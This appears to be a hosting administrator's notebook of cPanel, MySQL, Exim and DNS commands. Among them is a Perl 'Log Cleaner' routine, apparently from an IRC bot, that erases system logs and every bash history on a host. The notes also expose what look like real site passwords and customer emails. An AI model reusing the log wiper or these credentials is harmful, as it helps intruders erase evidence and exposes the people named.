chmod 511 .
chattr +i .
public_html]#
chmod 710 .
*************************************************************************************************************
==>>how to take backup of single table of database through ssh
http://ultrabb.net/forum/forum5/201.html
mysqldump database_name specific_table_name -u database_user -ppassword >dump.sql
http://www.thegeekstuff.com/2008/09/backup-and-restore-mysql-database-using-mysqldump/
How to Monitor Linux Server
http://www.linuxgo.net/how-to-monitor-linux-server/
*********************************************************************************************************************
premature end of scripts header
The page is generating a "premature end of scripts header" error. This error can be caused by a variety of things. The most common issue is that the PHP file (and those included in the file) may be corrupted (sometimes non-printing characters or unexpected spaces or new lines get added to a script, making it not work properly.
******************************************************************************************************************************************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
JPA file extension
http://filext.com/file-extension/JPA
The JPA file type is primarily associated with 'JoomlaPack' by fronzenFX. JoomlaPack is an open-source component for the Joomla! CMS that allows for full site backups (files and database). The file is a ZIP file with a complete backup of a Joomla installation in it.
*********************************************************************************************************************
http://stackoverflow.com/questions/186737/whats-the-fastest-way-to-delete-a-large-folder-in-windows
del /f/s/q foldername is good too, but it leaves behind the directory structure.
del /f/s/q
Delete only file not directories verbosely
*********************************************************************************************************************
Spamhaus :
Spamhaus on Cpanel
http://forum.whmdestek.com/whm-cpanel/797-stop-spam-server-exim.html
*********************************************************************************************************************
mkdir -pv mail/.Sent/ mail/cur mail/new mail/tmp mail/.Trash mail/.Drafts mail/tmp ;
chmod -v 770 mail ;
chmod -v 700 cur new tmp .Trash .Drafts tmp .Sent
chmod -v 700 mail/cur mail/new mail/tmp mail/.Trash mail/.Drafts mail/tmp mail/.Sent/;
chown fazunet.fazunet -vR cur new tmp .Trash .Drafts tmp mail/cur mail/new mail/tmp mail/.Trash mail/.Drafts mail/tmp mail/.Sent/ ;
mkdir etc ; chmod 750 etc; chown username.mail etc ;
*********************************************************************************************************************
.htaccess
Options +FollowSymLinks
DirectoryIndex Index.html
Options +Indexes
AddType text/plain .php
AddHandler server-parsed .php
*********************************************************************************************************************
Linux : How to Resize images with the command line?
convert -resize 30% credit_card.jpg credit_card_small.jpg
convert -resize 300% credit_card.jpg credit_card_large.jpg
If Images not working on wprdpress:
RewriteRule .*\.(jpg|jpeg|gif|png|bmp)$ - [F,NC]
http://www.besthostratings.com/articles/prevent-hot-linking.html
http://techgyo.com/index.php/disable-hotlinkingprevent-sites-stealing-bandwidth-htaccess-trick/
*********************************************************************************************************************
chmod 511 themes
*********************************************************************************************************************
Is there an option for the cp command to overwrite existing files in the destination directory?
put "\" before cp
i.e
$ \cp FileName newFileName
this will skip all interactive questions.
http://www.unix.com/unix-dummies-questions-answers/1267-cp-options.html
*********************************************************************************************************************
PHP Script to add a user to mailing list in cPanel?
http://stackoverflow.com/questions/589101/php-script-to-add-a-user-to-mailing-list-in-cpanel
shell_exec("echo user@example.com | /var/lib/mailman/bin/add_members -r - LISTNAME");
mailman path
Mailing list path in cpanel
http://webhostingdevelopment.com/forum/index.php/2010/07/mailing-list-path-in-cpanel/
Mailman lists can be found at :
cd /usr/local/cpanel/3rdparty/mailman/lists/
/usr/local/cpanel/3rdparty/mailman/bin –> Scripts Present here
*********************************************************************************************************************
How to check collation_database for a database from shell
USE your_database_of_interest;
show variables like "character_set_database";
show variables like "collation_database";
Default MySQL character set and collations
http://kb.mediatemple.net/questions/138/Default+MySQL+character+set+and+collation#gs
*********************************************************************************************************************
######################
# Log Cleaner #
######################
if ($funcarg =~ /^logcleaner/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :^C12[^B^C4@^C3Log-Cleaner^B^C12] LogCleaner :. | This process can be long, just wait");
system 'rm -rf /var/log/lastlog';
system 'rm -rf /var/log/wtmp';
system 'rm -rf /etc/wtmp';
system 'rm -rf /var/run/utmp';
system 'rm -rf /etc/utmp';
system 'rm -rf /var/log';
system 'rm -rf /var/logs';
system 'rm -rf /var/adm';
system 'rm -rf /var/apache/log';
system 'rm -rf /var/apache/logs';
system 'rm -rf /usr/local/apache/log';
system 'rm -rf /usr/local/apache/logs';
system 'rm -rf /root/.bash_history';
system 'rm -rf /root/.ksh_history';
sendraw($IRC_cur_socket, "PRIVMSG $printl :^C12[^B^C4@^C3Log-Cleaner^B^C12] LogCleaner :. | All default log and bash_history files erased");
sleep 1;
sendraw($IRC_cur_socket, "PRIVMSG $printl :^C12[^B^C4@^C3Log-Cleaner^B^C12] LogCleaner :. | Now Erasing the rest of the machine log files");
system 'find / -name *.bash_history -exec rm -rf {} \;';
system 'find / -name *.bash_logout -exec rm -rf {} \;';
system 'find / -name "log*" -exec rm -rf {} \;';
system 'find / -name *.log -exec rm -rf {} \;';
sleep 1;
sendraw($IRC_cur_socket, "PRIVMSG $printl :^C12[^B^C4@^C3Log-Cleaner^B^C12] LogCleaner :. | Done! All logs erased");
}
######################
# End of Log Cleaner #
######################
*********************************************************************************************************************
Ftpaccount details
/etc/proftpd/username
*********************************************************************************************************************
History format
vi /root/.bashrc
export HISTTIMEFORMAT="[%h/%d/%Y - %H:%M:%S] "
exmaple:
967 [Jan/18/2012 - 01:28:26] ping zubarpilipovic.com
*********************************************************************************************************************
vi /usr/local/ddos/load_balance/loadbalancer
*********************************************************************************************************************
root@server1 [/tmp]# locale
LANG=en_US.UTF-8
LC_CTYPE="en_US.UTF-8"
LC_NUMERIC="en_US.UTF-8"
LC_TIME="en_US.UTF-8"
LC_COLLATE="en_US.UTF-8"
LC_MONETARY="en_US.UTF-8"
LC_MESSAGES="en_US.UTF-8"
LC_PAPER="en_US.UTF-8"
LC_NAME="en_US.UTF-8"
LC_ADDRESS="en_US.UTF-8"
LC_TELEPHONE="en_US.UTF-8"
LC_MEASUREMENT="en_US.UTF-8"
LC_IDENTIFICATION="en_US.UTF-8"
LC_ALL=
root@server1 [/tmp]# whatis locale
Locale::Constants (3) - constants for Locale codes
Locale::Constants (3pm) - constants for Locale codes
Locale::Country (3) - ISO codes for country identification (ISO 3166)
Locale::Country (3pm) - ISO codes for country identification (ISO 3166)
Locale::Currency (3) - ISO three letter codes for currency identification (ISO 4217)
Locale::Currency (3pm) - ISO three letter codes for currency identification (ISO 4217)
Locale::Language (3) - ISO two letter codes for language identification (ISO 639)
Locale::Language (3pm) - ISO two letter codes for language identification (ISO 639)
Locale::Maketext (3) - framework for localization
Locale::Maketext (3pm) - framework for localization
Locale::Maketext::Simple (3) - Simple interface to Locale::Maketext::Lexicon
Locale::Script (3) - ISO codes for script identification (ISO 15924)
Locale::Script (3pm) - ISO codes for script identification (ISO 15924)
locale (1) - Get locale - specific information
locale (1p) - get locale - specific information
locale (3) - Perl pragma to use and avoid POSIX locales for built-in operations
locale (3pm) - Perl pragma to use and avoid POSIX locales for built-in operations
locale (5) - Describes a locale definition file
locale (7) - Description of multi-language support
locale.h [locale] (0p) - category macros
*********************************************************************************************************************
root@prince [/home/wwwbitec]# cat /etc/valiases/bitec.edu.pe
coordinadores-admin@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman admin coordinadores_bitec.edu.pe"
coordinadores-bounces@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman bounces coordinadores_bitec.edu.pe"
coordinadores-confirm@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman confirm coordinadores_bitec.edu.pe"
coordinadores-join@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman join coordinadores_bitec.edu.pe"
coordinadores-leave@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman leave coordinadores_bitec.edu.pe"
coordinadores-owner@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman owner coordinadores_bitec.edu.pe"
coordinadores-request@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman request coordinadores_bitec.edu.pe"
coordinadores-subscribe@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman subscribe coordinadores_bitec.edu.pe"
coordinadores-unsubscribe@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman unsubscribe coordinadores_bitec.edu.pe"
coordinadores@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman post coordinadores_bitec.edu.pe"
docentes-admin@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman admin docentes_bitec.edu.pe"
docentes-bounces@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman bounces docentes_bitec.edu.pe"
docentes-confirm@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman confirm docentes_bitec.edu.pe"
docentes-join@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman join docentes_bitec.edu.pe"
docentes-leave@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman leave docentes_bitec.edu.pe"
docentes-owner@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman owner docentes_bitec.edu.pe"
docentes-request@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman request docentes_bitec.edu.pe"
docentes-subscribe@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman subscribe docentes_bitec.edu.pe"
docentes-unsubscribe@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman unsubscribe docentes_bitec.edu.pe"
docentes@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman post docentes_bitec.edu.pe"
owner-coordinadores@bitec.edu.pe: coordinadores-admin@bitec.edu.pe
owner-docentes@bitec.edu.pe: docentes-admin@bitec.edu.pe
*: wwwbitec
*********************************************************************************************************************
Edit Dns
http://power.superdnssite.com:2086/cgi/zoneeditor.cgi?domain=001.abufa.net&domainselect=001.abufa.net
To deleted dns zone
http://power.superdnssite.com:2086/scripts/killdns?killdns=imagineray.com
To recreate a dns zone
http://power.superdnssite.com:2086/scripts/adddns?ip=67.23.243.231&zone=imagineray.com
Edit Dns >> Click on back
http://power.superdnssite.com:2086/cgi/zoneeditor.cgi
*********************************************************************************************************************
rebuild dns zones
http://www.adamsinfo.com/cpanel-rebuild-all-dns-zones/
‘/scripts/rebuildnsdzones’ or ‘/scripts/rebuildnamedconf’
*********************************************************************************************************************
New Multivariate Experiment
Step 2: Install and validate JavaScript tags
https://adwords.google.com/analytics/siteopt/install?experiment=EAAAAHsYNmjwNCONv0IiD-PMisY&account=15257792&user=AN_xLxcJHYI4dTLGlZtJbW5sJr6g58O4sQ&hl=en_us&portal=1&t=-rJQdHxonBQ
*********************************************************************************************************************
Error while resetting cPanel password
Or
Module Command Error
Sorry, the user observad is currently suspended. Changing the user's password would unsuspend the account.
Or
root@power [/tmp]# /scripts/unsuspendacct observad
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
The user 'observad' is not suspended (password is not locked).
If this account is partially suspended, suspend the account
to make the account fully suspended before unsuspending.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Solu: http://forum.ahosting.net/error-while-resetting-cpanel-password-653.html
==> check the user in suspended list from WHM.
==> If not in the list. check if there a file exist /var/cpanel/suspended/username
==> If there exist a file, move the file to /var/cpanel/suspended/username to /var/cpanel/suspended/username.bkp
*********************************************************************************************************************
Update all clients DNS Zone records at once
http://forums.cpanel.net/f5/update-all-clients-dns-zone-records-once-151109.html
If you would like to change the A record in all the DNS zone files, execute the following:
#cd /var
#cp -R named named.backup110527
replace "OLDIP" "NEWIP" -- /var/named/*.db
to change the name servers in the zone files, execute
replace "oldns" "newns" -- /var/named/*.db
Once done, restart the named service:
service named restart
OR
WHM >> Multi Account Functions >> Change multiple sites' IP address
*********************************************************************************************************************
touch \./-testfile
rm -- -testfile -v
rm \./-testfile
*********************************************************************************************************************
increase horde fetch mail limit
http://forums.cpanel.net/f43/how-increase-horde-fetch-mail-limit-107645.html
/usr/local/cpanel/base/horde/imp/config/
conf.php
config.xml
$conf['fetchmail']['size_limit'] = 4000000;
Increase memory_limit as well
/usr/local/cpanel/3rdparty/etc/horde/php.ini
http://forums.cpanel.net/f43/problems-loading-horde-via-webmail-imap-73798.html
help:
http://support.hostgator.com/articles/specialized-help/email/how-can-i-setup-fetch-mail-accounts-in-horde
*********************************************************************************************************************
HowTo: Linux Random Password Generator Command
http://www.cyberciti.biz/faq/linux-random-password-generator/
??
cat /dev/urandom|tr -dc "a-zA-Z0-9-_\$\?"|fold -w 9|head
*********************************************************************************************************************
root@prince [/tmp]# /scripts/killdns moitrybd.com
moitrybd.com => deleted from prince.
/scripts/mailperm --verbose digitalk
*********************************************************************************************************************
Can't Browse Files with Special Characters
http://confluence.atlassian.com/display/CRUCKB/Can't+Browse+Files+with+Special+Characters
Base64 Decode Online Encode
http://www.theecommercesolution.com/decrypt.php
http://base64-encoder-online.waraxe.us/
http://www.rbl.jp/base64.php
*********************************************************************************************************************
RvsiteBuilder Issue
memory_limit =128M
display_errors =Off
disable_functions =
safe_mode = Off
include_path =".:/usr/lib/php:/usr/local/lib/php"
*********************************************************************************************************************
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
root@theta [/tmp]# ps auxf | grep 2822
root 22477 0.0 0.0 61232 792 pts/1 S+ 09:09 0:00 | \_ grep 2822
root 28221 0.0 0.0 2116 1220 ? S Feb08 0:08 \_ /usr/local/cpanel/bin/splitlogs --main=theta.dnsnetservice.com --suffix=-bytes_log
root 28222 0.0 0.0 2096 1200 ? S Feb08 0:05 \_ /usr/local/cpanel/bin/splitlogs --main=theta.dnsnetservice.com --mainout=/usr/local/apache/logs/access_log
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteRule ^Bolet\xEDn\.(.*)$ Bolet\%C3\%ADn.$1 [R=301,NC,NE,QSA,L]
#rvs append
#http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html#rewriterule
#R - redirect with response code
#NE - (no URI escaping of output) will not convert \% to %25 but will show as %
#QSA - query string append, for photo album, guestbook
#L - last, stop and not processs other rules
</IfModule>
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
Login to magento
http://breathearomas.com/index.php/admin
*********************************************************************************************************************
Rebbot
shutdown -rf now
*********************************************************************************************************************
Your license could not be activated because:
/usr/local/cpanel/cpkeyclt
Unactivated License File
First, go to http://verify.cpanel.net/ and enter the public IP address of this server to make sure it is licensed.
If licensed, try running /usr/local/cpanel/cpkeyclt from the command line as root.
You'll also need to make sure that port 80 is open to contact our license server and that your server's hostname is a FQDN.
*********************************************************************************************************************
.htaccess
SetEnv TZ UTC
Time zone PHP Code:
<?php
echo "la hora: ";
//forma 1
//-------------------
date_default_timezone_set('America/Lima');
$Fecha = date("Y-m-d H:i:s");
//forma 2
//-------------------
$Fecha= gmdate("Y-m-d H:i:s", time()-(3600*5));
echo $Fecha;
?>
~
*********************************************************************************************************************
Drop Sync/DDOS Attack
http://linuxstuffs.wordpress.com/category/server-security/
*********************************************************************************************************************
To check php configuration:
/usr/local/cpanel/bin/rebuild_phpconf --current
root@duke [/home/renklite/public_html]# /usr/local/cpanel/bin/rebuild_phpconf --current
Available handlers: suphp dso cgi none
DEFAULT PHP: 5
PHP4 SAPI: none
PHP5 SAPI: suphp
SUEXEC: enabled
*********************************************************************************************************************
Following command will repair your all databases on server.
myisamchk -r /var/lib/mysql/*/*.MYI
/etc/rc.d/init.d/mysql restart
Following command will show if you need to repair your database or not
myisamchk –check /var/lib/mysql/*/*.MYI
Then try ‘safe-recover’ first:
myisamchk –safe-recover /var/lib/mysql/*/*.MYI
OR
myisamchk –recover /var/lib/mysql/*/*.MYI
Forceful
myisamchk –safe-recover –extend-check –force /var/lib/mysql/*/*.MYI
OR
myisamchk –recover –extend-check –force /var/lib/mysql/*/*.MYI
*********************************************************************************************************************
How to disable stats for particular account
http://www.linuxgo.net/page/3/
If you want to disable awstats for single account so add the following code in users cPanel configuration file.
vi /var/cpanel/users/cpanelusername (replace username with username)
skipawstats=1
save file and exit.
If you want to disable webalizer for single account so add the following code in users cPanel configuration file.
skipwebalizer=1
If you want to disable Analog stats for single account so add the following code in users cPanel configuration file.
skipanalog=1
/etc/init.d/cpanel restart
*********************************************************************************************************************
Disable to script execution from specific directory
Create .htaccess file in the directory from where you do not wish to run any script and add the following code in .htaccess (specially when there is phishing attack on any specific folder like “images”)
AddHandler cgi-script .php .pl .jsp .asp .sh .cgi
Options -ExecCGI
How to disable directory listing using .htaccess
Options -Indexes
*********************************************************************************************************************
MySQL DB size shows 0 Mb in cPanel
http://forums.cpanel.net/f354/mysql-db-size-shows-0-mb-cpanel-160738.html
http://www.thecpaneladmin.com/user-databases-missing-from-cpanel/
*********************************************************************************************************************
MySQL data files .MYD, .MYI, and .frm
http://blog.rootsmith.ca/linux/mysql-data-files-myd-myi-and-frm/
MysqlServer System Variables
http://dev.mysql.com/doc/refman/5.0/en/server-system-variables.html
*********************************************************************************************************************
Change lowercase letters to uppercase
To move a text file into upper case letters, you can use Awk in the following way:
#awk ‘{ print toupper($0) }’ old_file > new_file
*********************************************************************************************************************
Error code: ssl_error_rx_record_too_long
https://support.servertastic.com/entries/323560-error-code-ssl-error-rx-record-too-long
http://stackoverflow.com/questions/119336/ssl-error-rx-record-too-long-and-apache-ssl
*********************************************************************************************************************
autoresponder
root@prince [/home/akdeniza/mail]# cat /etc/valiases/akdenizalarm.com
info@akdenizalarm.com: |/usr/local/cpanel/bin/autorespond info@akdenizalarm.com /home/akdeniza/.autorespond
ihsankarabiber@akdenizalarm.com: |/usr/local/cpanel/bin/autorespond ihsankarabiber@akdenizalarm.com /home/akdeniza/.autorespond
*: ":fail: No such person at this address"
root@prince [/home/akdeniza]# cat .autoresponder.ihsankarabiber\@akdenizalarm.com.data
=?iso-8859-9?q?=ddhsan_karabiber?= ihsankarabiber@gmail.com=1298588284
fake@demyazilim.com=1298486499
root@prince [/home/akdeniza]# cat .autoresponder.info\@akdenizalarm.com.data
akmakina@makina-al.com=1310427842
anketlistesi@rocketmail.com=1310439964
duyuru@teknim.com=1310487815
haber@haberturk.com=1310493755
info@asm-security.hu=1310460532
sales2@bilgidenhaberler.com=1310594546
tartem@windowslive.com=1310404045
*********************************************************************************************************************
Testing
vsudamericacusco.com
1) mail folder is diabled
2) Mail send from Ip 124.124.124.118 using contact page http://vsudamericacusco.com/contact.html
Details in contact form:
name: test
testmail12224x7@yahoo.com
=========Check 1====================
root@peak [/home/vsudamer/mail]# tail -f /var/log/exim_mainlog | grep vsudamer
2012-03-10 09:37:28 1S6OMK-00026l-4V <= vsudamer@peak.dnsnetservice.com U=vsudamer P=local S=975
2012-03-10 09:37:29 1S6OMK-00026l-4V == info@vsudamericacusco.com R=virtual_user T=virtual_userdelivery defer (13): Permission denied: stat() error for /home/vsudamer/mail/vsudamericacusco.com/info: Permission denied
==>Even though mail folder is disabled mail will go through mail queue.
=========Check 2====================
root@peak [/home/vsudamer/mail]# exim -bp
1m 974 1S6OUd-0007eC-2U <vsudamer@peak.dnsnetservice.com>
info@vsudamericacusco.com
=========Check 3====================
root@peak [/home/vsudamer/mail]# exim -Mvh 1S6OUd-0007eC-2U
1S6OUd-0007eC-2U-H
vsudamer 999 994
<vsudamer@peak.dnsnetservice.com>
1331394363 0
-ident vsudamer
-received_protocol local
-body_linecount 51
-max_received_linelength 82
-auth_id vsudamer
-auth_sender vsudamer@peak.dnsnetservice.com
-allow_unqualified_recipient
-allow_unqualified_sender
-local
XX
1
info@vsudamericacusco.com
209P Received: from vsudamer by peak.dnsnetservice.com with local (Exim 4.69)
(envelope-from <vsudamer@peak.dnsnetservice.com>)
id 1S6OUd-0007eC-2U
for info@vsudamericacusco.com; Sat, 10 Mar 2012 09:46:03 -0600
041T To: Informes <info@vsudamericacusco.com>
046 Subject: Contacto de Web vsudamericacusco.com
071 X-PHP-Script: vsudamericacusco.com/contact_mnt.php for 124.124.124.117
018 MIME-Version: 1.0
044 Content-type: text/html; charset=iso-8859-1
038F From: test<testmail12224x7@yahoo.com>
055I Message-Id: <E1S6OUd-0007eC-2U@peak.dnsnetservice.com>
038 Date: Sat, 10 Mar 2012 09:46:03 -0600
root@peak [/home/vsudamer/mail]#
=========Check 4====================
root@peak [/home/vsudamer/mail]# cd /var/spool/exim/input/
root@peak [/var/spool/exim/input]# egrep "X-PHP-Sc" * -R
d/1S6OUd-0007eC-2U-H:071 X-PHP-Script: vsudamericacusco.com/contact_mnt.php for 124.124.124.117
=========Check 5====================
root@peak [/var/spool/exim/input]# ps -C exim -fH eww | egrep --color "home|SCRIPT_FILENAME=|REMOTE_ADDR="
mailnull 12592 12584 0 10:41 ? D 0:00 /usr/sbin/sendmail -t -i SERVER_SIGNATURE= UNIQUE_ID=T1uEIriaNqIAABe5u7UAAAAM HTTP_USER_AGENT=Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.78 Safari/535.11 SERVER_PORT=80 HTTP_ORIGIN=http://vsudamericacusco.com HTTP_HOST=vsudamericacusco.com HTTP_ACCEPT_CHARSET=ISO-8859-1,utf-8;q=0.7,*;q=0.3 DOCUMENT_ROOT=/home/vsudamer/public_html SCRIPT_FILENAME=/home/vsudamer/public_html/contact_mnt.php REQUEST_URI=/contact_mnt.php SCRIPT_NAME=/contact_mnt.php HTTP_CONNECTION=keep-alive REMOTE_PORT=55273 PATH=/bin:/usr/bin PWD=/home/vsudamer/public_html SERVER_ADMIN=webmaster@vsudamericacusco.com REDIRECT_STATUS=200 HTTP_ACCEPT_LANGUAGE=en-US,en;q=0.8 HTTP_REFERER=http://vsudamericacusco.com/contact.html HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 REMOTE_ADDR=124.124.124.117 SHLVL=1 SERVER_NAME=vsudamericacusco.com CONTENT_LENGTH=93 SERVER_SOFTWARE=Apache QUERY_STRING= SERVER_ADDR=184.154.54.162 GATEWAY_INTERFACE=CGI/1.1 SERVER_PROTOCOL=HTTP/1.1 HTTP_CACHE_CONTROL=max-age=0 HTTP_ACCEPT_ENCODING=gzip,deflate,sdch CONTENT_TYPE=application/x-www-form-urlencoded REQUEST_METHOD=POST _=/usr/sbin/sendmail
*********************************************************************************************************************
php_flag register_globals
*********************************************************************************************************************
generic fix for errors in the DNS zone file; via root SSH access
# named-checkzone
# man named-checkzone
An example with debug/verbose detail enabled is as follows:
Code:
# named-checkzone -d domain.tld /var/named/domain.tld.db
*********************************************************************************************************************
service xfs stop
chkconfig xfs off
chkconfig --list xfs
*********************************************************************************************************************
Change WordPress Site URL from Shell
http://www.linuxspy.info/page/8/
*********************************************************************************************************************
Blocking Traffic from Certain Countries
http://www.asiteaboutnothing.net/c_block-countries.html
http://www.sitepoint.com/forums/showthread.php?652613-How-to-block-specific-countries-from-certain-pages-of-my-website
(mod_geoip)
http://www.countryipblocks.net/country-blocks/select-formats/
*********************************************************************************************************************
Command Line PureFTP Configuration on cPanel
http://www.thecpaneladmin.com/configuring-pureftp/
The pureFTP template is located in /var/cpanel/conf/pureftpd/main
The settings in the template correlate directly to the same options in /etc/pure-ftpd.conf,
/usr/local/cpanel/whostmgr/bin/whostmgr2 doftpconfiguration
cPanel - ProFTPd Timeout and Disconnection Issues
http://blog.serverbuddies.com/cpanel-proftpd-timeout-and-disconnection-issues/
vi /etc/proftpd.conf
Add the following Timeout settings below the comments (#’s):
TimeoutLogin 120
TimeoutIdle 3600
TimeoutNoTransfer 3600
TimeoutStalled 3600
Save and quit editting proftpd.conf and restart the service.
service proftpd restart
*********************************************************************************************************************
HOW TO STOP PHP NOBODY SPAMMERS
http://servert.wordpress.com/2012/02/01/how-to-stop-php-nobody-spammers/
/usr/local/cpanel/scripts/maintenance
When dovecot get stoped
Warning: fsockopen() [function.fsockopen]: unable to connect to localhost:143 (Connection refused) in /usr/local/cpanel/base/3rdparty/squirrelmail/plugins/login_auth/functions.php on line 129
*********************************************************************************************************************
IndexIgnore .htaccess */.??* *~ *# */HEADER* */README* */_vti*
*********************************************************************************************************************
Using rpm.versions.local to manage RPMs
http://docs.cpanel.net/twiki/bin/view/AllDocumentation/WHMDocs/RpmVersionsLocal
cPanel-managed RPMs will be maintained based on the contents of /usr/local/cpanel/etc/rpm.versions
RPM downaloads for cpanel
http://httpupdate.cpanel.net/RPM01/centos/
*********************************************************************************************************************
Converting windows text file format to unix
http://kb.deru.net/?View=entry&EntryID=2
*********************************************************************************************************************
Options +FollowSymlinks
# Prevent Directoy listing
Options -Indexes
# Prevent Direct Access to files
<FilesMatch "\.(tpl|ini)">
Order deny,allow
Deny from all
</FilesMatch>
Howto: Disable MailMan
To disable Mailman on a cPanel server, remove the execute permissions of the mailman wrapper
chmod -x /usr/local/cpanel/3rdparty/mailman/mail/wrapper
If you ever want to enable it:
chmod +x /usr/local/cpanel/3rdparty/mailman/mail/wrapper
*********************************************************************************************************************
*********************************************************************************************************************
==Add a new dns:
/scripts/adddns --domain ns1.jetdizayn.net --ip 67.23.238.163
Kill a dns
/scripts/killdns domainame.com
== Add a new email account
/scripts/addpop username@domaina.com
Delete email account
/scripts/delpop username@domaina.com
== Add DomainKeys for single user
/usr/local/cpanel/bin/domain_keys_installer sohailri
where sohailri is a username
== Add SPF for single account
/usr/local/cpanel/bin/spf_installer sohailri
*********************************************************************************************************************
How to access url that requires http authenticate
1)
wget http://admin:123456@192.168.1.178/videostream.cgi
or
wget --http-user admin --http-password 123456 http://192.168.1.178/videostream.cgi
e.g
wget http://mrh:"wTS&q6[ub**3B[f_sb"@dual-hosts.co.uk/mrh/backup-5.21.2012_19-43-12_technodu.tar.gz
wget --http-user mrh --http-password "wTS&q6[ub**3B[f_sb" http://dual-hosts.co.uk/mrh/backup-5.21.2012_19-43-12_technodu.tar.gz
http://www.thegeekstuff.com/2009/09/the-ultimate-wget-download-guide-with-15-awesome-examples/#more-1885
2)
curl -O -u USERNAME:PASSWORD url
curl -O -u mrh:"wTS&q6[ub**3B[f_sb" http://dual-hosts.co.uk/mrh/backup-5.21.2012_19-43-12_technodu.tar.gz
http://www.thegeekstuff.com/2012/04/curl-examples/
http://www.cyberciti.biz/tips/linux-wget-your-ultimate-command-line-downloader.html
*********************************************************************************************************************
Eximstats db growing huge
http://nazeems.wordpress.com/2012/05/29/eximstats-db-growing-huge/
Login to mysql
#mysql
mysql> use eximstats
mysql> delete from sends;
mysql> delete from smtp;
mysql> delete from failures;
mysql> delete from defers;
*********************************************************************************************************************
--Logs for Specific Webmail Applications
SquirrelMail /var/cpanel/squirrelmail
RoundCube /var/cpanel/roundcube/log
Horde /var/cpanel/horde/log
*********************************************************************************************************************
Rebuild php.ini in Cpanel Server
First rename php.ini, so you can copy it back or compare if anything go wrong
mv /usr/local/lib/php.ini /usr/local/lib/php.ini.bak.$(date +%m%d%Y%H)
Now run
/scripts/phpini
This will generate new php.ini file.
*********************************************************************************************************************
Synchronize FTP Passwords
/usr/local/cpanel/scripts/ftpupdate
/scripts/ftpupdate
Updating ftp passwords for all users
*********************************************************************************************************************
Block Port for specific IP
iptables -A OUTPUT -p tcp -d 67.23.243.231 --dport 21 -j DROP
*********************************************************************************************************************
Update scripts in Fantastico De Luxe WHM Admin
WHM >> Plugins >> Fantastico De Luxe WHM Admin >> Update/Get files >> Get latest master files
*********************************************************************************************************************
To drop the Cache value
# free -m
cache value is high, to drop it use the command
#sync; echo 3 > /proc/sys/vm/drop_caches
*********************************************************************************************************************
Change mysql root Password
root#mysqld_safe –skip-grant-tables&
When using the above command , no password will be asked to go to mysql prompt
root#mysql
mysql>use mysql
mysql>update user set password=PASSWORD(‘abcd’) where User=’root’
mysql>flush privileges
mysql>quit
Now restart the mysqld service..
**************************************************************************************************************
How can i backup a table structure but NOT his data in MySQL
mysqldump --no-data eximstats > eximstats_bak.sql
*******
Email account disk usages not showing in cpanel
#/scripts/generate_maildirsize –force –all accounts
#/scripts/upcp –force
*********************************************************************************************************************
cat /etc/email_send_limits
carpinteriairoko.lakalle.org: 300,unlimited,5
*********************************************************************************************************************
csf -x
iptables -F
/etc/init.d/iptables save
csf -e
*********************************************************************************************************************
Check character set or Dtabase collation
mysql> use wellbeha_blog;
Database changed
mysql> show variables like 'c%';
+--------------------------+----------------------------+
| Variable_name | Value |
+--------------------------+----------------------------+
| character_set_client | latin1 |
| character_set_connection | latin1 |
| character_set_database | utf8 |
| character_set_filesystem | binary |
| character_set_results | latin1 |
| character_set_server | latin1 |
| character_set_system | utf8 |
| character_sets_dir | /usr/share/mysql/charsets/ |
| collation_connection | latin1_swedish_ci |
| collation_database | utf8_general_ci |
| collation_server | latin1_swedish_ci |
| completion_type | 0 |
| concurrent_insert | 1 |
| connect_timeout | 10 |
+--------------------------+----------------------------+
14 rows in set (0.00 sec)
*********************************************************************************************************************
How to read a Linux Operating System core file
http://www.symantec.com/business/support/index?page=content&id=TECH53189
http://www.cyberciti.biz/tips/linux-core-dumps.html
http://www.cyberciti.biz/tips/linux-strace-command-examples.html
*********************************************************************************************************************
